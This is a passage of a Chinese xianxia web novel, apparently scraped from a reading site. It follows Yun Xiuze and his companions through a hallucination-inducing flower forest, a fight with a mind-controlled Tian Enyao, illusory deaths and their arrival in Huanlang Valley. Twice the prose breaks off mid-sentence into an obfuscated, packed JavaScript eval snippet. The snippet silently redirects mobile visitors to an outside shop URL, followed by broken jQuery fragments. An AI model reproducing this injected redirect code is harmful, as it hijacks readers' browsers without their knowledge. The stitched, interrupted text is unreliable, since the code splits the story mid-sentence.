“没错,族长没有遇到具体的危险,不代表我们也不会遇到,先做好准备吧。” 他抽出一把匕首,在几人不解的眼神中对着自己的手指比了比,抬头解释道。 “我们族中有一种秘术,用指尖血在皮肤上绘制特殊的符咒,可以获知彼此的状态和位置,效用与我和青玉的玉佩大差不差,只是维持的时间短暂,大约只有一两日的功夫,不过正适合现在的我们,怎么样?” 这种事情他必须询问他们的意见,用血液来绘符,直接作用于身上的法子,大多数都沾点邪性,稍有不慎,就会让被画符的人受制于他人,若彼此并不信任,更有可能会立刻反噬,威胁性命。 云修云有点疑惑。 “好耳熟啊,我怎么不会啊?” 云修泽叹道。 “你又不好好学。” 云修云心虚了一瞬,家里教的偏门杂类何其多也,他又没他哥聪明,要是像他哥这样样样都学,恐怕就要整日困于书案前了。 云修泽本想给他们点儿时间考虑,却不想几人丝毫不带犹豫,甚至抱怨他为何不早早说出来。 云修泽神色有一瞬间的不自然,随即就恢复如常的笑道。 “好好好,是我多虑了,既然如此,那就来吧。” 他划开指尖,鲜血沾湿他的指腹。 “来。” 离他最近的天盛微挽起袖子露出小臂,云修泽很认真的一笔笔勾画,两人的灵气不受控制的翻涌,随着最后一笔的落下,整个符咒灵光一闪,彻底融入她的体内,表面再看不出一点痕迹。 “怎么样?”云修泽轻声问。 天盛微动了动手臂,闭上眼感受了一番,说道。 “没问题。” 他们两个之间好像建立起了如丝线一般的联系,看似脆弱,实则坚固而忠诚的牵引着两人。 云修泽松了口气,如法炮制在另外几人身上,行愿绘完后,唐思月好奇的问道。 “什么感觉?” 行愿放下袖子,说道。 “与修泽所说一般无二。” 最后是唐思月,云修泽垂眸仔细的画着,本已到了收尾时,褚闲却突然出鞘,动作不小,将他最后一笔带的一抖,画偏了些。 这符一到末尾就自动隐入宿主体内,再无机会修改。 云修泽愠怒道。 “褚闲,你做什么!” 褚闲浮在空中,剑指一方,嗡嗡作响。 是靡靡不知何时醒了。 几人心中一凛,靡靡的状态很不对劲儿,双眼紧闭,第三只眼却无声的睁开,暗红无光,透露出一丝诡异的邪气。 “呜——” 它忽然仰头叫出声,随即就有狂风骤起,如此近的距离,逼得几人不得不闭上眼,等到再睁开时,它就已经消失不见。 坑还在。 云修泽的心沉了沉,如果说阳乌最直接的感受是风,那他们最直接的感受就是灵力。 始终灰蒙蒙的灵力在刹那间清晰,虽然面前的场景除了靡靡没有分毫变动,但他们心知肚明,这里,已是另一方天地。 他们警惕的围在一起,周围暂时没有什么异样。 “你们有察觉到什么吗?”云修泽小声问。 几人都没感到危险或者违和之处,云修云疑惑问道。 “靡靡怎么突然醒了?” 天盛微也不清楚,只能猜测道。 “可能是体质有异。” 刚刚的靡靡与平时判若两兽,异族将它奉为瑞兽,睁开第三只眼睛的一瞬却如同即将堕魔,两种特性在一个个体上兼容,如此特殊,怪不得能成为‘钥匙’。 “哥,思月那个符没画好没什么问题吧?”云修云有点担心。 云修泽看了一眼唐思月,问道。 “思月,你有什么感觉吗?” 唐思月垂眸瞥了一眼小臂,说道。 “我感觉不到你的位置和状况。” 云修泽沉默了半晌,道。 “这个无法叠加覆盖,刚刚那一笔是有影响,但幸好问题不大,你感受不到我,我却能知道你,思月,接下来的路,你要格外小心,最好不要跟我们走散。” 唐思月摸了摸手臂,莫名觉得有些不安,点 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“记得,我记得我当时还分辨了一下,并没有传言中那种淡淡的香味,是个假的记号,怎么了吗?” 云修泽不语,天盛微猜测道。 “莫不成......你觉得那花和这里的玄机有关?” 云修泽含糊道。 “只是一个猜测。” 云修云伸着脖子四处看了看,又抬头瞅,末了说道。 “可是这里的花都是普通的野花啊,不普通的我们也认识,没有什么特殊的。” “嗯......”云修泽也没有找到,但就是无法放下那隐隐的猜测,心中惴惴。 他们一直往河边走,却在走到之前就听到了阳乌口中古怪的曲子。 说它古怪是很好的说法,没有什么韵律,时而欢快,时而忧伤,音色也分尖锐和悠扬,切换往往没有过渡,每次都十分突兀。 几人静止在原地,仔细分辨着声音的来处。 云修泽抬手示意跟上,他们就如影子一般快速在林中动了起来。 果然有只精怪,衔着叶子,模样也和阳乌说的一般无二,唯一不同的就是,这次它的身后没有了其他动物,只有它一只,一边吹一边怪模怪样的往前走着。 阳乌分辨不出来它是真是假,云修泽几人倒是很容易发现,这不是幻境的造物,是一只真实存在的精怪。 但它若是真的,他们之前的推测可能就不太可信了。 几人进行了短暂的眼神交流,决定继续跟着它,万分之一的可能,他们会如同当年的阳乌一样,被直接引入环琅谷。 他们保持了一段距离跟在它的身后,发现它就如同这片森林的化身,所过之处,绿草萌发新芽,花苞纷纷绽开,就连天性喜爱藏身的小生灵都会专门探出头来,似乎在和它打招呼。 据阳乌所说,他当年跟了没一会儿就进去了,但云修泽几人却没有这样的迹象,反而因为时间过长,灌入耳中的曲子越发扭曲,叫他们听的头疼。 终于,在一片空地,声音停了下来,可是精怪也随之不见了。 云修泽心道不好,立马就要带他们离开,可是转头的一瞬,地面忽然翻涌窜出数根木刺。 唐思月的腿侧被划伤,云修泽拉了一把云修云,心中不好的预感达到了顶峰,他抽出褚闲剑,咆哮道。 “走!!!” 他们迅速就要离去,木刺却仿佛永无断绝,无论如何斩断都会有新的源源不断的冒出来。 它们没有一直攻击,似乎只是想将他们留在这里。 几人背靠背,无奈退回中间,周围重新陷入了安静,但云修泽知道,重头好戏还未开场。 果然,有脚步声从远处传来,一个男子不急不缓来到他们近前,面容由暗转明。 看清的那一瞬,天盛微握着深流的手狠狠颤了一下,罕见的失了态。 “......哥?” “什么!” 云修泽双眼瞬间睁大,骇然道。 “这不可能!” 面前的男子有着熟悉的眉眼,正是失踪已久的...... ——天恩垚。 * 此时。 清秋道、昆天谷、周天山—— 央玉捻灭了手中的铜灯,唯一的光源消失,夜色就越发清晰可见。 月暂晦,星常明。【注1】 时过境迁,遮掩月亮的朦胧外衣,已经逐渐有了褪下的趋势。 央玉抬头久久的凝望,笑叹道。 “时日已近啊。” 112. 雾讫十一 “铛——” “呃!”天盛微捂着震麻的手臂被逼退了几步。 “哥!我是青儿啊!” 她焦急的喊着,换来的是又一次不留情面的攻击。 云修泽抽不出手去帮她,从天恩垚出现到动手,统共不过一息的时间内,森林就如同被唤醒的妖魔,不留一点缝隙的开始疯狂攻击他们。 那边兄妹二人刀剑相向,天盛微始终收着手害怕真的伤到天恩垚,但天恩垚可没有这个顾忌,招招致命,毫不留情。 他被控制了,已经成为了一樽失去自我的傀儡。 云修泽察觉到他的异常,天盛微也从他的眼中看出了端倪,发现单凭呼唤无法将他唤醒,她咬牙怒视,似是心中恨极。 云修泽却在这堪称大乱斗的场景里诡异的冷静了下来。 天恩垚出现的时机很奇怪,就像是专程在这里等着他们一样。 他一定是又一次陷入了幻境,可是当他催动符咒试图联系‘真正的同伴’的时候,却发现手中握着的四条线,就在他的身边! 这竟然是真的! 云修泽心头一震,只感荒谬,究竟什么是真?什么是假? “哥!” 云修云飞扑过来把他撞开,两人滚到一边,旁边的树就像是变成了柔韧度极高的面团,以不可思议的方式弯下树干,一把就要拍向两人。 云修泽翻身上砍,剑气一把削掉了大半的树冠,细碎的树枝和树叶洒落一地,一晃神,就如同被人操控般化叶为刀,叶尖全部对准了几人。 云修泽和云修云被迫分至两端,云修泽竖剑在前,化剑为盾,抵挡着树叶狂蜂浪蝶的攻击。 云修云迅速来到了唐思月身边,唐思月拨弦一震,震停了无数树叶。 她的琴音一向对这些东西有奇效,此刻也是她牵制了大部分的战力,其余四人才不至于招架的太过吃力。 云修泽贴地躲过了树枝上横扫,借力拧身来到了天盛微身边。 “我们一起控制住他!” 天盛微颔首,迅速与天恩垚拉开了距离。 云修泽接力上前,天恩垚不在乎对手是谁,刀身极快的下劈。 这里限制了云修泽和天盛微轻功的发挥,天恩垚也好似能预测到他们行动的轨迹,招式单一但有力。 云修泽被迫接下一刀,褚闲被压在肩膀上,力道之重让他脚下的土地都被踏出了两个深坑。 不过云修泽也得以借此靠近他,他飞快的扫视一遍天恩垚,从他身上闻到了极淡的花香。 他眼底一暗,果然和那种花儿有关,如果这本身就是一种精神控制,那么...... 云修泽犹豫了一下,大喊道。 “思月!试试能不能解开他的控制!” 回应他的是一阵极其激烈的琴声,犹如千军万马之势,和什么东西无形的缠斗到了一起。 天盛微早已到了云修泽身边,正和他一起控制着天恩垚。 似乎是琴声起了作用,天恩垚开始皱眉挣扎,力道之大险些将两人掀翻。 “哥!醒醒!青儿来找你了!我们回家!” 天盛微趁热打铁,一遍遍的呼唤他,试图勾起他的神智。 “呃啊啊啊啊——!!!!” 天恩垚痛苦的疯狂甩着头,琴声一声高过一声,和天盛微的声音合在一起,不断的刺痛他的脑海。 有希望! 云修泽心中一喜,天恩垚的神情挣扎变化,似乎恢复了一些清明,豆大的冷汗划过他不断颤抖的脸颊,他看到天盛微,声音在牙缝中艰难的挤出来。 “哥你说什么?”天盛微焦急又心疼。 天恩垚拼尽全力怒吼道。 “跑——!!!!” “唔!”云修泽胸口遭到重击,闷哼一声后,口中顿时一片腥甜,被他强行压了回去。 两人被他一把甩飞,天盛微砸到树上,短暂的陷入了昏迷。 琴声骤停,唐思月撑在琴上,嘴角因为反噬渗出了鲜血,天恩垚神智再次陷入了混沌,原地一踏,就持刀飞快的接近了云修泽。 他的攻势比刚刚要快上不少,几乎是瞬移到了云修泽眼前,就在此时,行愿忽然出现,在背后刺穿了他持刀的那侧肩膀。 天恩垚无论如何强悍而不畏死,终究也是肉体凡胎,在关键处受了伤,足以影响到他的动作。 行愿下手很有分寸,既限制他的行动,又不至于伤他太深,一击得中马上抽身离开,木刺在他离开的下一瞬就猛然钻出,多少擦伤了他的腿侧。 云修泽趁此机会,想借用褚闲的压制来震慑他手中的长刀,谁知天恩垚只是看了一眼手中不断颤动的武器就果断将它扔开,赤手空拳与他们过招。 云修泽咬牙,心道不妙,这里的灵气虽然充沛,但不知是如何办到的,竟然完全不为他们所用,绕过他们尽皆向天恩垚一人倾斜。 灵气无法补充恢复,就算本身积累雄厚,打起消耗战,也终归会落入下风。 不能再这样下去了,得赶紧想个办法。 那边,行愿回到了唐思月身边后,云修云就抽身将昏迷的天盛微也带了过来。 琴声不停,刀影不断,有行愿在近侧守着她们两人,云修云就想到他哥身边助他一臂之力,却被不停破土而出的藤蔓挡路。 云修云来几根便斩断几根,但断裂的藤身落到地上却并没有就此安静,反而不断扭动着重新扎根,加入了围攻之中。 云修云啧了一声。 “我这乌鸦嘴。” 这些藤蔓虽然不强,但十分烦人,不断消耗着他的体力和灵力,他深知这样下去不是办法,不过这东西倒是让他想起了九乙木,有了点思路。 看这些藤蔓都长一个模样,色泽粗细也都大差不差,应该是拥有同一个母株,但他数遍了每一根都没能发现。 “阿云!引蛇出洞!”唐思月忽然喊道。 云修云电光火石间明白了她的意思,一把接住行愿抛来的绳索,飞速将这些藤蔓绑在在了一起。 绳索绑不住它们太久,云修云动作迅速的燃起了一个火折,扔到它们中间。 它们是植物,就算产生了异变,增强了弱处,也还是对火焰避之不及。 火光瞬间冲天,熊熊燃烧着照亮了这方天地,里面的藤蔓疯了一般扭动挣扎,一时半会儿却根本不见损耗。 与此同时,下面的地面迅速裂开,一支粗壮的藤蔓拔地而起,飞快的卷向了云修云。 母株!!! 云修云眼神一凝,不躲反迎,擦过它的攻击,一把握在了藤身上,灵力顺着他的手强势入侵,同时一个发力,竟是要生生将它连根拔起! 天盛微不知何时醒来,见他们自己应付的过来,便又加入了云修泽和天恩垚的缠斗。 天恩垚已经陷入了狂化,周身灵气鼓荡,居然是一副不惜燃烧自身精血也要将他们全部送入地狱的架势。 两人既要想办法把他打晕,又不能伤他性命,让他察觉到近身,还有可能逼他自伤也要拦下,如此棘手。 天恩垚伸手,几条细细的藤蔓就自动缠绕成了一根长棍,又一次闪身来到两人身前。 长棍带着破空声平扫,天盛微仰身躲过,同时拧身就要反脚上踢,云修泽则一个滑铲踢向了他的脚腕。 两人一上一下,本是必不可能躲过的,天恩垚却凭借极强的身体控制将长棍顺势往旁边一插,横身跃起,反而将正面他的天盛微踢了出去。 整个人落到棍子另一面的刹那,挡住了云修泽的回身攻击。 身后木刺同时刺来,云修泽被逼放手,却在换到一边的时候抓准了一个机会,狠狠卸掉了他的一条手臂。 云修泽心头忍不住一松,这是他的惯用手,既然伤势无法阻拦他,那卸掉总会削弱他的战斗力。 然而他的表情没有丝毫变化,棍子转到左手,给了云修泽后心猝不及防的一击! “噗!!!”云修泽猛然喷出口血,被赶来的天盛微接住。 云修泽苦笑。 “阿微,咱哥也实在是太厉害了点吧......” 天盛微勉强笑了笑。 “毕竟师从无数名家。” 他们简短的交流,还没有立时察觉到整场氛围的转变。 随着云修泽吐的那口血,天竹的灵气涌出,不知为何竟然强烈吸引着他们,云修泽注意到后,心中不受控的涌出了一种微妙的悚然。 天恩垚看他的眼神变了,就连一直和云修云拉锯的母株都不惜顺着他的力道,让自己的根系出土,不要命的朝他卷来! “你要去——哪里啊!!!!” 云修云咬牙怒吼,卷着它的另一端硬生生将它拔了回去! 那母株并不是个犟种,眼看云修泽无望,云修云也是一样,干脆就顺着他的力道冲到了他的身上。 “什么!” “阿云!” “青玉!” 母株的速度本来就快,借着云修云的力道更不用多说,几乎眨眼不到的功夫就将云修云整个包裹住,成了一个藤球。 刚才的冲劲还未完全消解,整个球身就像被投掷出去的火球,穿过已经将子株烧尽的火焰,就要裹挟着他不知去往何处。 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16557647|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修泽和天盛微被拦住,行愿闪身到火球的前方,咬牙将刀横着抵住,试着阻拦它的离开。 然而脚下忽然窜出更多藤蔓绑住他的手脚,刀被绞落,藤球的火焰倏然变大,眼看就要将他一起带走! “深流!” 天盛微大喝,深流应声而出,飞快斩断了束缚他的藤蔓,但在战斗中忽然放弃武器的行为让她付出了肩甲几乎碎裂的代价。 行愿趁机滚至一旁,拿回景湛用力朝火球掷去,但却在靠近的一瞬间被忽然出现的木刺弹回。 他们只能眼睁睁看着云修云被带离了他们的视线! 云修泽气的脸色发白,他只能感觉到云修云受了重伤,离开了他身边,竟然连位置的方向都越来越模糊。 天恩垚的手臂已经被他自己安了回去,现在每一次动手都基本冲着云修泽来,似乎执着于他的天竹血脉。 舅哥,可不要怪我不讲情面了。 云修泽脸色很冷,出手也不再那么收敛,之前他试图尽量不让天恩垚见血,现在看来还是不行。 “阿微,我要速战速决了。”云修泽盯着天恩垚说道。 天盛微点头,的确不能再拖了。 唐思月拨弦越来越快,云修泽、天盛微、行愿三个人围攻一个,每个人的每次出招都隐入了她的灵力。 他们互相配合的次数已经数不胜数,每个人的习惯、招式、力度和时机都已经磨练的没有一丝卡顿,正因为她熟知每一个人,所以琴音的配合才能如此浑然一体。 来自她的加持,是细水长流、积少成多,一层层的叠加,无形之中,给同伴的助力越来越高,给对手的压力也会越来越大。 云修云现在生死不明,唐思月不再管身边那些‘妖魔鬼怪’,反正灵器的防护还能撑上一阵,现在全身心都放在了辅助他们三人身上。 琴声一声重过一声,每次弦音都处在断弦的边缘颤动,但无疑对云修泽三人的帮助是巨大的。 眼看他们就要将天恩垚拿下,他却忽然抓住一个空隙,朝唐思月的方向张开了手。 灵力瞬间凝聚,云修泽立马意识到他要做什么,但是时间已经来不及,天盛微在另一侧强行将他拖歪了些,也是于事无补。 无数的阵法在他的手掌前方一层层的展开,灵力层层叠叠,越靠近她,散发的气息就越恐怖。 不行!这种强度,思月现在的防护根本撑不住! 灵力的白光映在唐思月放大的瞳孔中,以极快的速度遮掩了她本身的瞳色,拨弦的动作尚未停下,她不禁后退了半步,闭上眼,等待预知的痛苦来临。 “呃——” 身前传来一声痛哼,唐思月骤然睁开眼,一切在她眼中被放慢。 远处,是天恩垚无动于衷的脸,还有云修泽和天盛微惊慌失措朝这边伸出的手。 近前,是日日夜夜跟在她身后,却也同样熟悉的背影。 “......行愿?”唐思月嘴唇嗫嗫。 行愿轰的一声撞在她的结界上,身体无力的软倒下滑,鲜血染红了前胸后背的衣裳,连伤口在哪里都无从分辨。 然而天恩垚的下一道攻击仍然在酝酿。 云修泽和天盛微来不及对行愿的伤势反应,欺身上前拦住了天恩垚的动作。 云修泽能感觉到行愿还活着,同伴接二连三的意外让他的记忆忽然闪回了秉唯垂死的一幕,双目赤红,理智摇摇欲坠。 他甩出血抹到褚闲的剑身上,灵力的光芒愈盛,下一刻就要将天恩垚钉在树上,但身后却突然传来一声痛呼。 云修泽的动作一僵,几步外的天盛微也愣在了原地。 唐思月的结界已经彻底破碎,她双脚离地,胸膛被贯穿,琴摔在地上,染血的弦尽断了。 数根木刺直接刺穿了她的心脏,唐思月神色还带着茫然,鲜血大口大口的涌出,染红了木刺,同时也将她变成了血人。 “什么......?”云修泽不敢相信自己看到了什么。 天盛微疯狂向她赶去,她手中还有不少伤药,只要够快,或许还能救她一命! 然而她再一次被天恩垚拦住,眼睁睁看着唐思月颤抖着向他们伸出手,张开嘴,却半个字都说不出来。 线断了。 线为什么会断? 云修泽的脑子如同被人闷了一棍嗡嗡作响,他清晰的看到唐思月的瞳孔逐渐涣散,身体如同顷刻间被抽去了所有力气,垂落的长发遮住了她的脸,再没有一丝生气。 云修泽和她之间的那条线断了,断的干干净净,似乎嘲讽着他一直以来的自以为是。 唐思月死了。 113. 雾讫十二 这一切都发生的太快了。 被切断的那条线明明白白的告诉云修泽,死的这个人就是真的唐思月,是那个他们在世叔家遇到,一起走到今天的唐思月。 明明在岸上,他却感到了呼吸被剥夺的窒息,脑中有那么一时半刻变得一片空白。 是他的错。 如果不是他狂妄自大,如果不是他敏感多疑,如果他能做好更加万全的准备,也许今天的一切都不会发生。 他踉跄的朝唐思月走去。 天盛微眼中也迅速积起了泪珠,或许她心中早对死亡有所准备,但却从未想过如何面对他们的消亡。 余光中,天恩垚手中的长棍变成了长刀的模样,没有丝毫停顿的朝着后门大敞的云修泽攻去。 “噗呲——” 云修泽身形一僵,陷入混乱的思绪被骤然打醒。 猛的回头,见到的一幕更是让他浑身的血液逆流,冷的发抖。 天盛微嘴角不断渗着血,深流焦急的试图将她身前的天恩垚推开。 看着并不锋利的长刀却刺穿了她的腰腹,而执刀人的手正剧烈的抖动,挣扎着想要放开,或者捅得更深。 “不......不......”天恩垚无法面对疼爱的妹妹死于己手,意识终于被再次惊醒,痛苦的试图挣脱,想要重新掌控自己的身体。 他遭到了很强烈的反噬,七窍都慢慢渗出了鲜血,眼睛蒙上一层血色,仍然不肯放弃。 心脏的狂跳每一次都被放大在云修泽的耳边,每一步都重若千钧。 褚闲忠诚的反映了主人的杀心,先他许多步,带着昭然若揭的怒意,悲鸣着刺穿了他的胸膛! 天恩垚被褚闲的力道撞开,那把刀也终于离开了天盛微,她已经陷入了半昏迷的状态,被稍微往前一带就要跌倒。 云修泽心痛的将她接住,给她喂药但又抖得撒了一地,勉强保住了她的性命,看她沉沉的昏了过去。 她彻底闭上眼睛的那一刻,云修泽明知她只是昏迷,心却依然狠狠一颤,巨大的恐慌淹没了他。 “杀......” 云修泽抬起头,天恩垚握着褚闲颤颤巍巍的说。 “杀了......我。” 云修泽看到刚刚那一幕的时候已经没有理智可言,但在褚闲破体的那一瞬,还是被岌岌可危的拉了回来。 这一切都不是天恩垚的错,他只是被控制了,本就无辜,更何况还是阿微心心念念的哥哥。 所以剑偏了一寸。 但随时在崩溃边缘的天恩垚却在自己求死。 “我......已经没救了...你不杀了我,我还会......去杀更多人......我不想......” 云修泽小心翼翼的将天盛微放下,走到他面前,拔出褚闲想要将他打晕。 剑尖离体,他闷哼一声,竟然猛的握住剑身,直接送入了刚刚被紧急避开的地方。 云修泽愣住了。 天恩垚留恋的看了一眼天盛微,呢喃道。 “长大了......” 很快,他也没了声息。 云修泽独立在一片狼藉之中。 云修云失踪,天盛微和行愿重伤昏迷,唐思月和天恩垚接连丧命。 云修泽头痛欲裂,神情还是一片茫然。 森林随着天恩垚的死重新变回了正常,但云修泽从未像此刻一样觉得它们如同饮血的妖魔。 他站在原地,褚闲也好像觉得自己做了错事一般微微发抖,一时间,云修泽不知道接下去该干些什么。 良久,他僵硬的动了动,动作麻木的给行愿上了药,又畏手畏脚的将唐思月接了下来。 “青玉......对...得去找青玉......” “哈——” 身后忽然有人怪叫出声,云修泽回头,竟然是之前消失的精怪。 它站在天恩垚身边,指着他怪模怪样的尖声窃笑道。 “你杀了他——!!!” 云修泽一愣,下意识反驳。 “不,我没......” 话还没说完,它又开始尖叫。 “你杀了他你杀了他你杀了他——!!!” 它每叫一声,云修泽的头就多痛一分。 “闭嘴!!!” 云修泽怒气再也控制不住,褚闲毫不留情的杀去,它原地一跳,竟然跳了两人多高。 它一边尖笑一边向森林深处跑去,褚闲自动追去,在即将消失在云修泽眼中的时候被他下意识召了回来。 他有种预感,若是再不回来,连褚闲恐怕都要不见。 后边发出点动静,云修泽已经开始害怕突如其来的声音了,他试探的回头,见到天盛微醒了,半撑在原地愣愣的看着天恩垚的尸体。 她是被刚刚那个精怪的声音吵醒的。 云修泽的心被狠狠捏了一下,他快步上前扶住了天盛微,想要去蒙她的眼睛,被她侧头躲过。 “是你杀了他......?”她的嘴唇不停颤抖。 云修泽无助的摇了摇头,千言万语,最终说出口的也只有苍白的‘不是’。 然而天盛微就像完全听不进去一样,完全被血染红的额珠如同她此刻的崩溃,她指责道。 “是你杀了他!为什么!” 她猛的抽出短匕刺向他,泪痕和血痕交杂在一起,将她摇摇欲坠的心照的分明。 她受了很大的刺激,依照云修泽的性子,哪怕不是他主动杀的天恩垚,也会为此感到愧疚自责,大抵是会让她刺上一刀宣泄情绪,但让人意想不到的是,他忽然一把抓住了她的手腕。 力道很大,天盛微想要挣脱却连动也动不了,云修泽的眼神莫名就冷下来了,但面上又奇怪的带了点如释重负的笑意,让人不寒而栗。 还没等她反应过来,云修泽骤然伸手,在她不可置信的目光中毫不犹豫的拧断了她的脖子。 “咔哒——” 颈骨断裂的声响清脆,就像一个信号,代表着整场幻境的失败。 周围的一切,尸身、鲜血、断裂的树枝和打斗的痕迹全都在眨眼间消失,云修泽跪在地上,怀中空空如也。 他站起身环顾四周,刚才的所有,除了他和褚闲,全都是假的。 他摸了摸自己的胸膛,仍然对刚刚的事情感到心有余悸。 这个幻境太真了,真到他不知道究竟是什么时候入了进去,要不是在最后为了杀他过于心急,做出了一些不像天盛微的举动,恐怕还真能再耗他一段时间。 这里应该也有类似于结界的阵法,他感知不到其他四个人,连玉佩也失去了效用。 云修泽盘腿坐下,深呼吸,开始调整自己的状态。 不知道什么时候就会出现的意外让他没有办法在这里入定,只能一边警惕,一边尽快恢复着灵力。 大概一刻钟左右,他重新站起来,摸了摸自己脸颊原本受伤的地方,连伤口都已经摸不出来了,仅有一些干涸的血迹。 伤好像好的又快了一些。 云修泽捻了捻手指,想到刚刚幻境里他们对于天竹血的狂热,眼神变得晦暗不明。 握紧褚闲,云修泽打算先去找找天盛微他们,还没走几步,忽然听到旁边的草丛传出点儿窸窣的动静,然后就有个熟悉的黑影逃窜离开。 云修泽目光一凛,是那个精怪! 他不假思索的追上去,单论速度,精怪肯定是比不上云修泽的,但只要它一挥手,森林就会自发阻挡他的脚步。 在一处黑洞洞的树丛前,它忽然停下了,回头看向不断向它逼近的云修泽,窃笑的表情十分醒目。 云修泽拧起眉头,看它一头扎进了树丛里,褚闲擦着它的身体划过,没来得及拦下。 他在树丛前止步,盯着前方黑漆漆的森林,就像是面对着一头已经对他垂涎三尺的凶兽,只等他自己送上门去。 云修泽并没有迟疑太长时间,很快就追着穿了过去,再睁开眼睛的时候,眼前豁然开朗。 这里是一片空谷,已经没有了森林中阴森的窥伺感,像是世外桃源一样,安静的等在这里。 云修泽瞳孔微微放大,骤然浓郁的灵气冲的他脑中微微发胀,怪不得异族会将它奉为圣地,这里给人的感觉太奇特了。 环琅谷......云修泽眼神沉了沉,那个精怪去哪儿了? “嘘——你在找我吗?” 云修泽持剑陡然转身,在他的预料中,身后也许是那个精怪,也许是黑压压的森林,但没想到会见到这样的场景。 他的神情有了片刻怔愣,原本有叶无花的森林已经开满了鲜艳血红的花朵,整片花林在月光的照耀下反映出朦胧的光晕,带着梦幻的虚假,犹如一片汹涌燎原的火海,清晰的印在他微微颤动的眼中。 精怪的声音似远似近,像是自上而下的俯视,嘲笑着他的浑噩。 “你真的认为,幻境已经结束了吗?” 风一吹过,火苗摇曳不止,精怪的气息彻底消失,零散的花瓣飘落,云修泽伸手接住,凑到鼻尖一闻,淡香微甜,短暂的让他眩晕了一瞬。 就是这种花,云修泽心情复杂的看着手中的花瓣,那么大的一片森林,竟然种的都是这种花,怪不得制造的假象能那么逼真而不易察觉。 “修泽!” 云修泽心头一颤,回头见到天盛微御剑飞来,恍然有种隔世之感。 天盛微见到他松了一口气,可看他眼神奇怪,不由蹙起了眉。 “怎么了?” 刚才精怪说的话就像把一根小刺埋进了云修泽的肉里,不怎么痛,但又时时刻刻提醒着它的存在。 看见‘死而复生’的道侣,云修泽伸手把她抱进了怀里。 天盛微不明所以,但顺着他的意思环上了他的背,在他看不见的地方,垂下的眼中闪过了一丝安心。 两人的心跳趋于一致,云修泽把头深深的埋进她的发中,庆幸几乎溢出心口。 这是我的阿微。 幻境再怎么逼真,也绝虚构不出她的怀抱。 “怎么回事?你遇见了什么?”两人分开,云修泽抓着她的手臂问道。 天盛微简单向他说明,一开始她也和云修泽一样见到了精怪,后来遇见危险,竟然被设计亲手杀死了云修泽,险些因此崩溃,不过幸好察觉出了一些不对劲,发觉是假的,破除后很快就到了这里。 看来每个人都得走一遍幻境。 云修泽安抚的揉了揉她的后颈,跟她说了自己遇到的事,说到自己杀了天恩垚,而天盛微要杀了他时,云修泽流露出一种特殊的脆弱,他自己没有发觉,被天盛微收入眼中。 天盛微心疼的捧了捧他的脸颊,安抚的亲亲他的额头。 云修泽乖乖低着头给她亲,垂眸笑了笑,问道。 “你出来的比我早,见到其他人了吗?” 天盛微有点儿担心的摇了摇头,这里很大,他们在不同的地方出来,她试探了一下是否可以御剑,到了天上看,也只看到了云修泽一人。 他们正说着话,云修云突然从旁边冲出来,衣襟凌乱,沾了点点血痕,满身更是滚满了草屑。 他的表情本带了些肃杀,见到云修泽和天盛微又立马变成了慌乱,喊道。 “哥!盛微姐!不好了!我刚刚看到思月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563361|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受伤被那个精怪抓走,行大哥一直在追,可是我跟不上他们的速度!” 两人对视一眼,云修泽说道。 “别慌,刚刚的一切都是假的,这森林其实就是那种致幻的花,弄出来的幻境特别逼真。” 云修云焦急的跺了跺脚。 “不是啊!我是离开幻境后看到的!绝对是真的!!!” 云修云虽然平日里总是装乖卖傻,但在正事上从来都很靠谱,他既然这么说,那事情应该就是八九不离十。 天盛微问道。 “他们往哪个方向去了?” 云修云指了指谷中,催促道。 “哥!你快试试感应一下他们的位置!” 云修泽在云修云费解的神色中摇了摇头。 “应该是被什么隔断了,你能感应到我吗?” 云修云脸色顿时一白,他感应不到云修泽,用玉佩也不行,那思月和行大哥的处境就更危险了。 云修泽有点不忍心,叹道。 “走吧,我们去找找。” 云修云连忙点头,三人一路朝谷中走去,宫中的书上有过记载,阳乌也提过,环琅谷中心有一个巨大的湖泊,湖泊中心还有一小片空地。 云修泽对那里莫名感到在意,决定先去那里看看。 这里情况不明,为了防止意外,三人没有选择御剑赶路。 走在路上,他们发现周围生活着不少灵兽,见到他们并没有好奇或者试探的凑上来,全都在远处不紧不慢的看他们路过。 灵气已经纯净浓郁到几乎快要化为实质,孕育出了无数奇珍异草,在月下掩映生姿。 云修云本来还是满腹焦急,但走着走着逐渐平静了下来,甚至生了些惰性,思绪变得迟钝,不明白自己在做什么,为何要浪费大好的时光,不躺下来好好休息一下。 他的动作变慢,双眼困顿的眯着,看着成群发光的月草,似乎下一瞬就能打个哈欠走进去躺下。 察觉到他的异常,云修泽和天盛微猛的抖了个机灵,他们也有类似的感觉,只是要比云修云慢上一些。 云修泽一把把云修云拍了个趔趄,狠狠让他清醒了一下。 云修云一愣,眼神逐渐清明,有些后怕。 “怎么回事?谷中竟然也那么危险,天杀的镜双子,怎么自己住的地儿也霍霍?” 云修泽捏了捏他的肩膀。 “不要掉以轻心。” 云修云抿着嘴点了点头。 很快,他们触目所及就不再只有空旷的谷景,开始出现竹楼等一些生活过的痕迹。 云修云大致看了看,说道。 “这些竹子比较普通,也没有荒废的迹象,他们肯定还有人生活在这里,至少一个!” 镜双子没死这件事早就在他们之间达成了共识,现在得到验证,更多的是一种果然如此的了然。 再往里走,出现的大部分山峰就都十分险峻,虽然没有破坏山谷本身的和谐,但也能看出许多不同,应该是人力所致,想来是镜双子练功弄的。 